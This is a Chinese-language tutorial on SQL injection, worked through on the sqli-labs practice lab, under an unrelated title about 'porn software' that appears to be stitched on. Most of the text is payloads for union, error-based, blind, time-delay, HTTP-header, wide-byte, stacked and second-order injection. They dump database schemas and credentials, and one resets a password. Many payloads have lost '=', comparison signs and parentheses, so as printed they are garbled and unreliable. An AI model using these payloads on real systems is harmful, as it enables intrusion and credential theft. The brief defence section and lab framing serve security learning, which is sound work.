核心内容摘要
探索数字世界的隐秘角落:那些“搞黄软件”背后的故事
前言SQL注入SQL Injection是一种常见的Web安全漏洞形成的主要原因是web应用程序在接收相关数据参数时未做好过滤将其直接带入到数据库中查询导致攻击者可以拼接执行构造的SQL语句。
那什么是SQL了结构化查询语言Structured Query Language缩写SQL是一种关系型数据库查询的标准编程语言用于存取数据以及查询、更新、删除和管理关系型数据库即SQL是一种数据库查询语言即注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询导致可以拼接执行构造的SQL语句
漏洞原因分析我们都知道web分为前端和后端前端负责数据显示后端负责处理来自前端的请求并提供前端展示的资源即然有资源那么就需要有存储资源的地方——如mysql数据库。
那服务器如何对数据获取了就需要使用SQL语句这一语法结构进行查询获取。
SQL语句通过特有的语法对数据进行查询。
这里使用 sqli-labs 作为sql注入练习靶场https://github.com/Audi-1/sqli-labs安装好后我们看第1关。
按要求在url后面加上?id1显示如下当我们修改 id 的值为2时页面数据发生了改变。
说明它将我们输入的数据代入到了数据中进行查询然后将对应查询的结果显示在了浏览器上。
psurl 中?通常用于表示传递参数id代表变量参数2代表参数的值为了更清楚的看清sql语句的执行与变化过程我们先修改源代码打开Less-1/index.php在源码中添加如下语句将执行的sql语句打印出来方便我们查看echo 执行的sql语句为.$sql; echo br/; echo br/;访问页面如下打印出了执行的sql语句在1后面加上单引号, ?id1’页面显示有语法错误说靠近 ‘1’’ limit 0,1有语法错误我们输入的数据 1’ 被完整的带入到了SQL语句中即直接与原有的sql语句进行了拼接。
然后执行的sql语句变成了$sql“SELECT * FROM users WHERE id’ 1 ’ ’ LIMIT 0,1”;我们输入的那个单引号和前面的单引号产生了闭合导致原有后面的那个单引号变成了多余而sql语法中引号是必须成对出现否则就会报错这也就解释了为什么输入1’后程序就报错的原因。
既然我们输入什么代码就拼接什么那我们就构造sql语句将左单引号进行闭合就好了。
我们在1后面加上单引号与左边的引号构成闭合再接着拼接构造好的SQL语句并注释掉后边的语句 ’ 1 ’ and 11 – ’ LIMIT 0,1 程序就不会报错就可以查询我们想要查询的数据这就是sql注入。
漏洞危害SQL注入漏洞对于数据安全的影响**数据库信息泄漏**数据库中存放的用户的隐私信息的泄露。
**网页篡改**通过操作数据库对特定网页进行篡改。
**网站被挂马传播恶意软件**修改数据库一些字段的值嵌入网马链接进行挂马攻击。
**数据库被恶意操作**数据库服务器被攻击数据库的系统管理员帐户被窜改。
**服务器被远程控制被安装后门**经由数据库服务器提供的操作系统支持让黑客得以修改或控制操作系统。
破坏硬盘数据瘫痪全系统。
sql注入防范解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。
通常修复使用的方案有代码层面对输入进行严格的转义和过滤使用参数化Parameterized目前有很多ORM框架会自动使用参数化解决注入问题但其也提供了拼接的方式,所以使用时需要慎重!PDO预处理 (Java、PHP防范推荐方法)⛔没有进行PDO预处理的SQL在输入SQL语句进行执行的时候web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。
但如果进行了PDO预处理的SQL会让MYSQL自己进行拼凑就算夹带了危险的SQL语句也不会进行处理只会当成参数传进去而不是以拼接进SQL语句传进去从而防止了SQL注入网络层面通过WAF设备启用防SQL Inject注入策略或类似防护系统云端防护如阿里云盾
如何挖掘sql注入漏洞
注入可能存在的地方竟然是sql注入那么这个地方肯定是与数据库有数据交互的所以我们可以优先观察那种页面存在传值或者查询的地方。
比如url中的GET型传参如?id1如我们看见这种就可以考虑或者是搜索框前端将用户输入的数据代入到数据库中进行查询这种以POST方法进行发送数据。
如下这种地方或者是HTTP请求头部字段如Cookie值。
常见的注入手法SQL 注入漏洞根据不同的标准有不同的分类。
如按照参数类型可分为两种数字型和字符型。
参数类型分类
数字型当输入的参数为整形时如果存在注入漏洞可以认为是数字型注入。
如 www.text.com/text.php?id3 对应的sql语句为 select * from table where id
字符型字符型注入正好相反当输入的参数被当做字符串时称为字符型。
字符型和数字型最大的一个区别在于数字型不需要引号来闭合而字符串一般需要通过引号来闭合的。
即看参数是否被引号包裹例如数字型语句select * from table where id 3则字符型如下select * from table where name’admin’注入手法分类UNION query SQL injection联合查询注入Error-based SQL injection报错注入Boolean-based blind SQL injection基于布尔的盲注Time-based blind SQL injection基于时间的盲注Stacked queries SQL injection堆叠查询SQL注入联合查询(union注入)联合查询适合于有显示位的注入即页面某个位置会根据我们输入的数据的变化而变化我们以 sqli-labs 第1关为例来学习联合查询。
如下要求我们传入一个id值过去。
传参?id1当我们输入id1和id2时页面中 name 值和 password 的值是不一样的说明此时我们输入的数据和数据库有交互并且将对应数据显示在了浏览器上。
注入点判断开始判断是否存在注入输入?id1’页面发生报错说明后端对我前端的数据输入没有很好的过滤产生了sql注入漏洞继续判断输入 ?id1’ and 11 -- 页面正常显示?id1’ and 12 -- 页面不正常显示说明程序对我们的输入做出了正确的判断所以注入点就是单引号页面会根据输入的数据变化而变化当存在注入点时优先考虑使用联合注入手法。
判断当前表的字段个数使用order by n 来判断当前表中存在的字段个数当n大于当前表中实际的字段个数时会引发报错。
输入order by 3页面无异常反应?id1 order by 3 --将3修改为4此时显示未知的列说明当前表只有3列?id1 order by 4 --
判断显示位以下为union注入中较为常用的一些函数和环境变量名称功能version()MySQL 版本user()当前数据库用户名database()当前数据库名version_compile_os操作系统版本datadir数据库路径上面判断出来了当前表存在3个字段下面需要借助 union 来回显sql语句首先构造union前面的语句返回为空即让id-1查询为空union 1,2,3则直接返回1,2,3。
所以最终sql语句就是返回1,2,3?id-1 union select 1,2,3 --然后原本 username 和 password 的值不返回而返回 2,
爆当前数据库名字然后我们把2,3替换为其他语句如获取当前数据库名的函数?id-1 union select 1,2,database() --获取当前数据库名为“security”
爆当前数据库中的表#直接套用语句 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() --显示当前数据库中存在4个表“emails,referers,uagents,users”
爆表中的字段我们这里选择users表进行进一步的获取表中的字段信息#只需指定表名即可 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers -- #或者指定当前数据库名 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers --获取users表中存在3个字段分别为 “id,username,password”
爆相应字段的所有数据#只需指定表名和字段名 ?id-1 union select 1,2,group_concat(id,:,username,:,password) from users -- #字段值不加反引号也可以 ?id-1 union select 1,2,group_concat(id,:,username,:,password) from users --至此联合查询整个过程结束。
注入的时候找到注入点后只需套入语句即可。
报错注入报错注入用在数据库的错误信息会回显在网页中的情况如果联合查询不能使用首选报错注入。
报错注入利用的是数据库的报错信息得到数据库的内容这里需要构造语句让数据库报错。
推荐三种报错注入的方法直接套用就行。
以less-1为例子
group by 重复键冲and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,
,floor(rand()*
)x from information_schema.tables group by x)a) --提交如下获取数据库名字?id1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,
,floor(rand()*
)x from information_schema.tables group by x)a) --
extractvalue() 函数?id1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --提交 ?id1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) -- 获取数据库名字
updatexml() 函数and updatexml(1,concat(‘‘,(需要查询的内容),’’),
1)
提交如下获取数据库名字?id1’ and updatexml(1,concat(‘‘,(database()),’’),
--
获取当前数据库中表的名字?id1’ and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema‘security’ ),‘^’),
--这里是说要显示的内容超过一行它不能显示那么多所以在 table_schema‘security’ 后加上 limit 0,1显示第一行显示第0行的往下一行不包括第0行如果要看第二行则limit1,1第一行的往下一行不包括第一行即显示第二行看第三行则limit2,1。
以这个方法获取第四个表为users
爆表中的字段?id1’ and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name‘users’ and table_schema‘security’ limit 0,1 ),‘^’),
--总共爆出的字段为 id , username , password
爆字段中的内容?id1’ and updatexml(1,concat(‘^’,(select group_concat(username,“–”,password) from users limit 0,1 ),‘^’),
--三组用户名和密码。
基于布尔的盲注布尔盲注即在页面没有错误回显时完成的注入攻击。
此时我们输入的语句让页面呈现出两种状态相当于true和false根据这两种状态可以判断我们输入的语句是否查询成功。
以less-8关为例
我们输入正确的id显示You are in …我们输入错误的语句如id1’ 或者id-1时就什么都不显示。
这就是布尔盲注屏幕上能得到信息不多就是两种状态源码如下$sqlSELECT * FROM users WHERE id$id LIMIT 0,1 ; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color#FFFF00; echo You are in...........; echo br; echo /font; } else { echo font size5 color#FFFF00; 所以我们构造判断语句根据页面是否回显证实猜想。
一般用到的函数ascii() 、substr() 、length()exists()、concat()等。
判断数据库类型MySQL数据库表 information_schema.tablesaccess msysobjectsSQLServer sysobjects用下的语句判断数据库。
哪个页面正常显示就属于哪个数据库//判断是否是 Mysql数据库 http://
127.
0.
1/sqli/Less-5/?id1 and exists(select*from information_schema.tables) -- //判断是否是 access数据库 http://
127.
0.
1/sqli/Less-5/?id1 and exists(select*from msysobjects) -- //判断是否是 Sqlserver数据库 http://
127.
0.
1/sqli/Less-5/?id1 and exists(select*from sysobjects) --所以当前数据库为mysql数据库
判断当前数据库名1判断当前数据库的长度利用二分法 http://
127.
0.
1/sqli/Less-5/?id1 and length(database())5 -- //正常显示 http://
127.
0.
1/sqli/Less-5/?id1 and length(database())10 -- //不显示任何数据 http://
127.
0.
1/sqli/Less-5/?id1 and length(database())7 -- //正常显示 http://
127.
0.
1/sqli/Less-5/?id1 and length(database())8 -- //不显示任何数据 大于7正常显示大于8不显示说明大于7而不大于8所以可知当前数据库长度为8个字符 2判断当前数据库的字符,和上面的方法一样利用二分法依次判断 //判断数据库的第一个字符 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr(database(),1,
)115 -- //100为ascii表中的十进制对应字母s //判断数据库的第二个字符 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr(database(),2,
)100 -- //判断数据库的第三个字符 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr(database(),3,
)100 -- ........... 由此可以判断出当前数据库为 security
判断当前库的表名//猜测当前数据库中是否存在admin表 http://
127.
0.
1/sqli/Less-5/?id1 and exists(select*from admin) -- 1判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5用二分法依次判断最后得知当前数据库表的个数为4 http://
127.
0.
1/sqli/Less-5/?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3 -- 2判断每个表的长度 //判断第一个表的长度用二分法依次判断最后可知当前数据库中第一个表的长度为6 http://
127.
0.
1/sqli/Less-5/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,
)6 -- //判断第二个表的长度用二分法依次判断最后可知当前数据库中第二个表的长度为6 http://
127.
0.
1/sqli/Less-5/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,
)6 -- 3判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,
,1,
)100 -- //判断第一个表的第二个字符的ascii值 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,
,2,
)100 -- ......... 由此可判断出存在表 emails、referers、uagents、users 猜测users表中最有可能存在账户和密码所以以下判断字段和数据在 users 表中判断
判断表的字段判断字段个数判断每个字段的长度猜每个字段的字符//如果已经证实了存在admin表那么猜测是否存在username字段 http://
127.
0.
1/sqli/Less-5/?id1 and exists(select username from admin) 1判断表中字段的个数 //判断users表中字段个数是否大于5 http://
127.
0.
1/sqli/Less-5/?id1 and (select count(column_name) from information_schema.columns where table_nameusers and table_schemasecurity)5 -- 2判断每个字段的长度 //判断第一个字段的长度 http://
127.
0.
1/sqli/Less-5/?id1 and length((select column_name from information_schema.columns where table_nameusers limit 0,
)5 -- //判断第二个字段的长度 http://
127.
0.
1/sqli/Less-5/?id1 and length((select column_name from information_schema.columns where table_nameusers limit 1,
)5 -- 3判断每个字段名字的ascii值 //判断第一个字段的第一个字符的ascii http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,
,1,
)100 -- //判断第一个字段的第二个字符的ascii http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,
,2,
)100 -- ........... 由此可判断出users表中存在 id、username、password 字段
爆字段中的数据猜字段中数据的长度猜字段数据的每个字符ascii码 得字符我们知道了users中有三个字段 id 、username 、password我们现在爆出每个字段的数据 1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://
127.
0.
1/sqli/Less-5/?id1 and length((select id from users limit 0,
)5 -- // 判断id字段的第二个数据的长度 http://
127.
0.
1/sqli/Less-5/?id1 and length((select id from users limit 1,
)5 -- 2判断数据的ascii值 // 判断id字段的第一行数据的第一个字符的ascii值 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select id from users limit 0,
,1,
)100 -- // 判断id字段的第二行数据的第二个字符的ascii值 http://
127.
0.
1/sqli/Less-5/?id1 and ascii(substr((select id from users limit 0,
,2,
)100 -- ...........一般布尔盲注手工去注入过于繁琐不建议手工注入可以借助于工具。
基于时间的盲注也叫延时注入。
通过观察页面既没有回显数据库内容又没有报错信息也没有布尔类型状态那么我们可以考虑用“绝招”--延时注入。
延时注入就是将页面的时间线作为判断依据一点一点注入出数据库的信息。
我们以第9关为例在id1后面加单引号或者双引号页面不会发生任何改变所以我们考虑绝招延时注入。
延时注入?id1 and sleep(
--如图所示观察请求的时间线大概在5秒以上说明构造的sleep(
语句起作用可以把这个时间线作为sql 注入的判断依据。
获取数据库名字延时注入与布尔盲注类似构造方法如下提交参数?id1 and if(ascii(substr(database(),1,
) 115,sleep(
,
--if(expr1,expr2,expr
如果expr1的值为true则返回expr2的值如果expr1的值为false则返回expr3的值。
代码的含义就是如果数据库名字的第一个字符的acsii值为115则进行延时否则返回0即什么都不返回。
页面显示延时5 秒说明数据库名字第一个字母的ASCII 值是115也就是字母s。
数据库名字第二个字母的判断?id1 and if(ascii(substr(database(),2,
) 101,sleep(
,
--与盲注类似后面就是猜数这就是延时注入可以绕waf的payloadand(select*from(selectsleep(
)a/**/union/**/select
HTTP头注入常见的sql注入一般是通过请求参数或者表单进行注入而HTTP头部注入是通过HTTP协议头部字段值进行注入。
http头注入常存在于以下地方产生注入的条件- 能够对请求头消息进行修改- 修改的请求头信息能够带入数据库进行查询- 数据库没有对输入的请求信息做过滤
User-Agent注入User-Agent使得服务器能够识别客户使用的操作系统浏览器版本等。
很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中。
这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的然后将其值保存到数据库中。
以sqli-labs less-18关为例登录用户密码dumb ,
0
1 判断注入点user-agent值后面加上’引发报错确定存在sql注入
2 采用报错注入函数获取当前数据库名 and updatexml(1,concat(^,(database()),^),
and
cookie注入cookie服务器端用来记录客户端的状态。
由服务端产生保存在浏览器中。
传送门-》[cookie](https://blog.csdn.net/qq_44159028/article/details/114359205?ops_request_misc%257B%2522request%255Fid%2522%253A%2522161646553116780266210214%2522%252C%2522scm%2522%253A%
252220140713.
pc%255Fblog.%2522%257Drequest_id161646553116780266210214biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v
-
pc_v1_rank_blog_v1utm_termcookie cookie) 。
以sqli-labs less-20关为例登录后
1 首先判断注入点加 ’ 单引号报错
2 采用报错注入函数获取当前数据库名 and updatexml(1,concat(^,(database()),^),
and
Referer注入**Referer**是HTTP header的一部分当浏览器向web服务器发送请求的时候一般会带上Referer告诉服务器该网页是从哪个页面链接过来的服务器因此可以获得一些信息用于处理。
以19关为例
判断输入点加单引号引发报错
使用报错注入函数‘ and updatexml(1,concat(0x7e,(database()),0x7e),
and 方法都是一样的。
X-Forwarded-For 注入**X-Forwarded-For(XFF)**用来识别客户端最原始的ip地址。
详见传送门 -》[X-Forwarded-For sql注入](https://blog.csdn.net/qq_44159028/article/details/112528864?ops_request_misc%257B%2522request%255Fid%2522%253A%2522161646592716780261962393%2522%252C%2522scm%2522%253A%
252220140713.
pc%255Fblog.%2522%257Drequest_id161646592716780261962393biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v
-
pc_v1_rank_blog_v1utm_termX-for X-Forwarded-For sql注入)宽字节注入宽字节案例引入宽字节注入准确来说不是注入手法而是另外一种比较特殊的情况。
为了说明宽字节注入问题我们以SQLi-labs 32 关为例子。
使用?id1 进行测试的时候发现提交的单引号会被转义\[\\\]。
此时转义后的单引号会被作为普通字符带入数据库查询。
也就是说我们提交的单引号不会影响到原来SQL 语句的结构。
接着我们查看这关的源码发现传入的id经过addslashes转移函数的处理所有的单引号双引号字符都会被添加转义字符。
接着在带入到数据库查询前设置了mysql\_query(SET NAMES gbk)即设定字符集为gbk。
漏洞就是由于这个设置导致宽字节注入。
仔细看该函数其利用正则匹配将 [ / ]这些三个符号都过滤掉了而我们要绕过这个转义处理使单引号发挥作用不再被转义有两个思路让斜杠\失去作用让斜杠\消失第一个思路就是借鉴程序员的防范思路对斜杠\转义使其失去转义单引号的作用成为普通的内容。
第二个思路就是宽字节注入。
关于编码在理解宽字节注入之前我们需要先了解编码的有关知识关于什么是编码为什么要编码某字符的大小为一个字节时称其字符为窄字节.当某字符的大小为两个字节时称其字符为宽字节.所有英文默认占一个字节汉字占两个字节常见的宽字节编码GB2312,GBK,GB18030,BIG5,Shift_JIS等等宽字节注入宽字节是指多个字节宽度的编码GB
GBK、GB
BIG
Shift_JIS等这些都是常说的宽字节实际上只有两字节。
转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码使得原本的转义字符没有发生作用。
由于在数据库查询前使用了GBK多字节编码即在汉字编码范围内使用两个字节会被编码为一个汉字前一个ascii码要大于128才到汉字的范围。
然后mysql服务器会对查询语句进行GBK编码即下面所说的 我们在前面加上 %df ,转义函数会将%df’改成%df\\’ , 而\\ 就是%5c 即最后变成了%df%5c而%df%5c在GBK中这两个字节对应着一个汉字 “運” 就是说 \\ 已经失去了作用%df ,被认为運 ,成功消除了转义函数的影响。
’ %27\ %5c%df\’ %df%5c’ 》 運’我们输入 ?id1%df’按道理来说将转义符吃掉了结果应该是 id’ 運’ ’ 为什么这里转变成了中文后后面还有一个反斜杠了那个反斜杠是哪里来的其实这个是浏览器显示编码的问题我们将浏览器编码切换为GB2312即简体中文如下就正常了。
联合注入如下GB2312与GBK的不同gb2312和gbk应该都是宽字节家族的一员。
但我们来做个小实验。
把源码中set names修改成gb2312结果就不能注入了我开始不信然后再把数据库编码也改成gb2312也是不成功的。
虽然执行的语句还是显示被转换成了中文了但就是注入不成功为什么这归结于gb2312编码的取值范围。
它的高位范围是0xA10xF7低位范围是0xA10xFE而\是0x5c是不在低位范围中的。
所以0x5c根本不是gb2312中的编码所以自然也是不会被吃掉的。
所以把这个思路扩展到世界上所有多字节编码我们可以这样认为只要低位的范围中含有0x5c的编码就可以进行宽字符注入。
宽字节注入注入方法
黑盒就是上面所述的在注入点后面加%df然后按照正常的注入流程开始注入即可。
如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加%df然后再用sqlmap跑否则是注入不出来的如sqlmap.py -u http://localhost/sqli-labs-master/Less-32/?id1%df%
白盒查看mysql是否为GBK编码且是否使用preg_replace()把单引号转换成\或自带函数addslashes()进行转义如果存在上面说的则存在宽字节注入。
宽字节注入修复mysql_real_escape_string听说这个函数能抵御宽字节注入攻击。
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符并考虑到连接的当前字符集。
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。
于是把addslashes替换成mysql_real_escape_string来抵御宽字符注入。
但是我们发现还是一样注入成功了为什么明明我用了mysql_real_escape_string但却仍然不能抵御宽字符注入原因就是你没有指定php连接mysql的字符集。
我们需要在执行sql语句之前调用一下mysql_set_charset函数设置当前连接的字符集为gbk。
mysqli_set_charset(connection,charset);参数描述connection必需。
规定要使用的 MySQL 连接。
charset必需。
规定默认字符集。
这样就防止了注入即先调用mysql_set_charset函数设置连接所使用的字符集为gbk再调用mysql_real_escape_string来过滤用户输入。
设置参数,character_set_clientbinary使用utf-8编码堆叠查询堆叠查询也叫堆叠注入在SQL中分号;是用来表示一条sql语句的结束。
试想一下我们在 ; 结束一个sql语句后继续构造下一条语句会不会一起执行因此这个想法也就造就了堆叠注入。
而union injection联合注入也是将两条语句合并在一起两者之间有什么区别么区别就在于union 或者union all执行的语句类型是有限的可以用来执行查询语句而堆叠注入可以执行的是任意的语句。
以sqli-labs第38关为例执行id1;update users set password123456 where id1; --意思就是再更新id1的用户密码为123456。
如下成功执行了更新密码的语句堆叠查询的局限性堆叠注入的局限性在于并不是每一个环境下都可以执行可能受到API或者数据库引擎不支持的限制当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句但是这种注入方式并不是十分的完美的。
在我们的web系统中因为代码通常只返回一个查询结果因此堆叠注入第二个语句产生错误或者结果只能被忽略我们在前端界面是无法看到返回结果的。
如上面的实例如果我们不输出密码那我们是看不到这个结果的。
因此在读取数据时我们建议使用union联合注入。
同时在使用堆叠注入之前我们也是需要知道一些数据库相关信息的例如表名列名等信息二阶注入二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。
相对于一次注入漏洞而言二次注入漏洞更难以被发现但是它却具有与—次注入攻击漏洞相同的攻击威力。
黑客通过构造数据的形式在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储通常是保存在数据库中保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后为了处理该请求服务端会查询数据库中已经存储的数据信息并处理从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功
总结二次注入就是由于将数据存储进数据库中时未做好过滤先提交构造好的特殊字符请求存储进数据库然后提交第二次请求时与第一次提交进数据库中的字符发生了作用形成了一条新的sql语句导致被执行。
以sqli-labs第24关为例sqli-labs less-
如下点击注册用户这里注册用户名为 admin’#此时我们查看数据库注册的用户已经存储进去了并且admin的密码是DDD
对注册的账号进行登录然后修改密码为ccccc此时提示密码已经成功修改了此时我们发现反倒是admin的密码被修改成了ccccc而我们注册的用户admin’#的密码并没有被修改漏洞原因
在进行用户注册的允许存在’和#这种特殊字符
在修改密码页面的源码中发现这里很明显存在注入漏洞$sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ;当我们登录账号admin’#并修改密码时这条sql语句就变成了如下这个样子#把后面的代码都注释掉了所以修改了用户admin的密码为ccccc$sql UPDATE users SET PASSWORD$pass where usernameadmin# and password$curr_pass ;本文转自网络如有侵权请联系删除。
题外话今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。
网络安全学习路线学习资源网络安全的知识多而杂怎么科学合理安排下面给大家
总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工
网络安全理论知识2天①了解行业相关背景前景确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。
非常重要
渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-
MS08-
MS10-
MS
等
操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础
计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现
数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固
Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。
薪资区间6k-15k到此为止大概1个月的时间。
你已经成为了一名“脚本小子”。
那么你还想往下探索吗【“脚本小子”成长进阶资源领取】
脚本编程初级/中级/高级在网络安全领域。
是否具备编程能力是“脚本小子”和真正黑客的本质区别。
在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。
在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。
超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。
感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。
网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。
网络安全学习路线学习资源结语网络安全产业就像一个江湖各色人等聚集。
相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。
特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失